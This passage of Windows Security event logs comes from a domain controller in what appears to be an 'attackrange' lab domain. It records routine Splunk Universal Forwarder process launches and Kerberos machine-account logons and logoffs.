	New Process ID:		0x13ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:25:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256482
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:25:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256484
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:25:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256485
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:25:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256486
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:25:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256487
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:25:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256488
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:25:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256491
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x41307F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:25:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256490
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x41307F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65306

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:25:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256489
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x41307F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:26:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256492
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x530
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:26:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256494
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x630
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:26:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256493
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x454
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:26:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256495
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x103c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:26:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256496
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:26:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256498
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:26:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256497
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:26:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256501
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4175FE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:26:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256500
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4175FE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65322

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:26:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256499
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4175FE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:27:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256507
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x417918

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:27:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256506
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x417918
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65326

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:27:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256505
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
